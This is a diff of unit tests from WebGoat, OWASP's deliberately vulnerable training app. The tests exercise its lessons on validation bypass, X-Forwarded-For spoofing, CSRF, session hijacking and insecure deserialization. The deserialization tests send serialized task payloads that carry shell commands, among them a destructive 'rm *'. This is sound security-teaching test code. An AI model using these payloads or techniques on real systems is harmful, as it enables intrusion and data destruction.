.param("field3", "abc ABC 123")
.param("field4", "seven")
.param("field5", "01101")
.param("field6", "90201 1111")
.param("field7", "301-604-4882")
.param("error", "2"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
void bypassAllFieldShouldPass() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abcd")
.param("field2", "1234")
.param("field3", "abc $ABC 123")
.param("field4", "ten")
.param("field5", "01101AA")
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882$$")
.param("error", "0"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
void notBypassingAllFieldShouldNotPass() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
.param("field1", "abc")
.param("field2", "1234")
.param("field3", "abc $ABC 123")
.param("field4", "ten")
.param("field5", "01101AA")
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882AA")
.param("error", "0"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,100 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.challenges;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.lessons.challenges.Flag;
import org.owasp.webgoat.lessons.challenges.SolutionConstants;
import org.owasp.webgoat.lessons.challenges.challenge1.Assignment1;
import org.owasp.webgoat.lessons.challenges.challenge1.ImageServlet;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.net.InetAddress;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/**
* @author nbaars
* @since 5/2/17.
*/
@ExtendWith(MockitoExtension.class)
class Assignment1Test extends AssignmentEndpointTest {
private MockMvc mockMvc;
@BeforeEach
void setup() {
Assignment1 assignment1 = new Assignment1();
init(assignment1);
new Flag().initFlags();
this.mockMvc = standaloneSetup(assignment1).build();
}
@Test
void success() throws Exception {
InetAddress addr = InetAddress.getLocalHost();
String host = addr.getHostAddress();
mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
.header("X-Forwarded-For", host)
.param("username", "admin")
.param("password", SolutionConstants.PASSWORD.replace("1234", String.format("%04d",ImageServlet.PINCODE))))
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("flag: " + Flag.FLAGS.get(1))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
void wrongPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
.param("username", "admin")
.param("password", "wrong"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
// @Test
// public void correctPasswordXForwardHeaderMissing() throws Exception {
// mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
// .param("username", "admin")
// .param("password", SolutionConstants.PASSWORD))
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("ip.address.unknown"))))
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
// }
// @Test
// public void correctPasswordXForwardHeaderWrong() throws Exception {
// mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
// .header("X-Forwarded-For", "127.0.1.2")
// .param("username", "admin")
// .param("password", SolutionConstants.PASSWORD))
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("ip.address.unknown"))))
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
// }
}

View File

@ -0,0 +1,49 @@
package org.owasp.webgoat.lessons.chrome_dev_tools;
import org.hamcrest.Matchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.chrome_dev_tools.ChromeDevTools;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author Benedikt Stuhrmann
* @since 13/03/19.
*/
@ExtendWith(SpringExtension.class)
public class ChromeDevToolsTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new ChromeDevTools());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void NetworkAssignmentTest_Success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/ChromeDevTools/network")
.param("network_num", "123456")
.param("number", "123456"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", Matchers.is(true)));
}
@Test
public void NetworkAssignmentTest_Fail() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/ChromeDevTools/network")
.param("network_num", "123456")
.param("number", "654321"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", Matchers.is(false)));
}
}

View File

@ -0,0 +1,196 @@
package org.owasp.webgoat.lessons.cia;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.assertj.core.api.Assertions.assertThat;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author Benedikt Stuhrmann
* @since 13/03/19.
*/
public class CIAQuizTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new CIA());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void allAnswersCorrectIsSuccess() throws Exception {
String[] solution0 = {"Solution 3"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 2"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)));
}
@Test
public void oneAnswerWrongIsFailure() throws Exception {
String[] solution0 = {"Solution 1"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 2"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)));
}
@Test
public void twoAnswersWrongIsFailure() throws Exception {
String[] solution0 = {"Solution 1"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 3"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)));
}
@Test
public void threeAnswersWrongIsFailure() throws Exception {
String[] solution0 = {"Solution 1"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 1"};
String[] solution3 = {"Solution 3"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)));
}
@Test
public void allAnswersWrongIsFailure() throws Exception {
String[] solution0 = {"Solution 2"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 3"};
String[] solution3 = {"Solution 1"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)));
}
@Test
public void allAnswersCorrectGetResultsReturnsTrueTrueTrueTrue() throws Exception {
String[] solution0 = {"Solution 3"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 2"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3));
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
.andExpect(status().isOk())
.andReturn();
String responseString = result.getResponse().getContentAsString();
assertThat(responseString).isEqualTo("[ true, true, true, true ]");
}
@Test
public void firstAnswerFalseGetResultsReturnsFalseTrueTrueTrue() throws Exception {
String[] solution0 = {"Solution 2"};
String[] solution1 = {"Solution 1"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 2"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3));
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
.andExpect(status().isOk())
.andReturn();
String responseString = result.getResponse().getContentAsString();
assertThat(responseString).isEqualTo("[ false, true, true, true ]");
}
@Test
public void secondAnswerFalseGetResultsReturnsTrueFalseTrueTrue() throws Exception {
String[] solution0 = {"Solution 3"};
String[] solution1 = {"Solution 2"};
String[] solution2 = {"Solution 4"};
String[] solution3 = {"Solution 2"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3));
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
.andExpect(status().isOk())
.andReturn();
String responseString = result.getResponse().getContentAsString();
assertThat(responseString).isEqualTo("[ true, false, true, true ]");
}
@Test
public void allAnswersFalseGetResultsReturnsFalseFalseFalseFalse() throws Exception {
String[] solution0 = {"Solution 1"};
String[] solution1 = {"Solution 2"};
String[] solution2 = {"Solution 1"};
String[] solution3 = {"Solution 1"};
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
.param("question_0_solution", solution0)
.param("question_1_solution", solution1)
.param("question_2_solution", solution2)
.param("question_3_solution", solution3));
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
.andExpect(status().isOk())
.andReturn();
String responseString = result.getResponse().getContentAsString();
assertThat(responseString).isEqualTo("[ false, false, false, false ]");
}
} // end class

View File

@ -0,0 +1,44 @@
package org.owasp.webgoat.lessons.client_side_filtering;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.client_side_filtering.ClientSideFiltering;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.client_side_filtering.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
/**
* @author nbaars
* @since 5/2/17.
*/
public class ClientSideFilteringAssignmentTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new ClientSideFiltering());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree")
.param("checkoutCode", SUPER_COUPON_CODE))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void wrongCouponCode() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree")
.param("checkoutCode", "test"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,47 @@
package org.owasp.webgoat.lessons.client_side_filtering;
import org.hamcrest.CoreMatchers;
import org.hamcrest.Matchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.client_side_filtering.ClientSideFiltering;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
public class ClientSideFilteringFreeAssignmentTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new ClientSideFiltering());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/attack1")
.param("answer", "450000"))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void wrongSalary() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/attack1")
.param("answer", "10000"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is("This is not the salary from Neville Bartholomew...")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void getSalaries() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/salaries"))
.andExpect(jsonPath("$[0]", Matchers.hasKey("UserID")))
.andExpect(jsonPath("$.length()", CoreMatchers.is(12)));
}
}

View File

@ -0,0 +1,81 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.client_side_filtering;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.client_side_filtering.ShopEndpoint;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.is;
import static org.owasp.webgoat.lessons.client_side_filtering.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/**
* @author nbaars
* @since 5/2/17.
*/
@ExtendWith(SpringExtension.class)
public class ShopEndpointTest extends LessonTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
this.mockMvc = standaloneSetup(new ShopEndpoint()).build();
}
@Test
public void getSuperCoupon() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/" + SUPER_COUPON_CODE))
.andExpect(jsonPath("$.code", CoreMatchers.is(SUPER_COUPON_CODE)))
.andExpect(jsonPath("$.discount", CoreMatchers.is(100)));
}
@Test
public void getCoupon() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/webgoat"))
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
}
@Test
public void askForUnknownCouponCode() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/does-not-exists"))
.andExpect(jsonPath("$.code", CoreMatchers.is("no")))
.andExpect(jsonPath("$.discount", CoreMatchers.is(0)));
}
@Test
public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/"))
.andExpect(jsonPath("$.codes[3].code", is("get_it_for_free")));
}
}

View File

@ -0,0 +1,33 @@
package org.owasp.webgoat.lessons.cryptography;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
import javax.xml.bind.DatatypeConverter;
import java.security.KeyPair;
import java.security.PrivateKey;
import java.security.interfaces.RSAPublicKey;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.Assertions.fail;
@Slf4j
public class CryptoUtilTest {
@Test
public void testSigningAssignment() {
try {
KeyPair keyPair = CryptoUtil.generateKeyPair();
RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(CryptoUtil.getPrivateKeyInPEM(keyPair));
String modulus = DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
log.debug("public exponent {}", rsaPubKey.getPublicExponent());
assertTrue(CryptoUtil.verifyAssignment(modulus, signature, keyPair.getPublic()));
} catch (Exception e) {
log.error("signing failed", e);;
fail();
}
}
}

View File

@ -0,0 +1,76 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.csrf;
import org.hamcrest.core.StringContains;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.csrf.CSRF;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import javax.servlet.http.Cookie;
import static org.hamcrest.core.Is.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 11/17/17.
*/
public class CSRFFeedbackTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new CSRF());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void postingJsonMessageThroughWebGoatShouldWork() throws Exception {
mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(status().isOk());
}
@Test
public void csrfAttack() throws Exception {
mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.TEXT_PLAIN)
.cookie(new Cookie("JSESSIONID", "test"))
.header("host", "localhost:8080")
.header("referer", "webgoat.org")
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
}
}

View File

@ -0,0 +1,81 @@
package org.owasp.webgoat.lessons.deserialization;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
class DeserializeTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
private static String OS = System.getProperty("os.name").toLowerCase();
@BeforeEach
void setup() {
InsecureDeserializationTask insecureTask = new InsecureDeserializationTask();
init(insecureTask);
this.mockMvc = standaloneSetup(insecureTask).build();
}
@Test
void success() throws Exception {
if (OS.indexOf("win") > -1) {
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
} else {
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
}
@Test
void fail() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("delete", "rm *"))))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
void wrongVersion() throws Exception {
String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw";
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.invalidversion"))))
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
void expiredTask() throws Exception {
String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw";
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.expired"))))
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
void checkOtherObject() throws Exception {
String token = "rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l";
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.stringobject"))))
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,108 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.hijacksession;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication;
import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;
import org.springframework.test.util.ReflectionTestUtils;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.ResultActions;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import javax.servlet.http.Cookie;
import static org.hamcrest.Matchers.emptyString;
import static org.hamcrest.Matchers.not;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.lenient;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/***
*
* @author Angel Olle Blazquez
*
*/
@ExtendWith(MockitoExtension.class)
class HijackSessionAssignmentTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
private static final String COOKIE_NAME = "hijack_cookie";
private static final String LOGIN_CONTEXT_PATH = "/HijackSession/login";
@Mock
Authentication authenticationMock;
@Mock
HijackSessionAuthenticationProvider providerMock;
HijackSessionAssignment assignment;
@BeforeEach
void setup() {
assignment = new HijackSessionAssignment();
init(assignment);
ReflectionTestUtils.setField(assignment, "provider", new HijackSessionAuthenticationProvider());
mockMvc = standaloneSetup(assignment).build();
}
@Test
void testValidCookie() throws Exception {
lenient().when(authenticationMock.isAuthenticated()).thenReturn(true);
lenient().when(providerMock.authenticate(any(Authentication.class))).thenReturn(authenticationMock);
ReflectionTestUtils.setField(assignment, "provider", providerMock);
Cookie cookie = new Cookie(COOKIE_NAME, "value");
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.cookie(cookie)
.param("username", "")
.param("password", ""));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
void testBlankCookie() throws Exception {
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "webgoat")
.param("password", "webgoat"));
result.andExpect(cookie().value(COOKIE_NAME, not(emptyString())));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,118 @@
/*
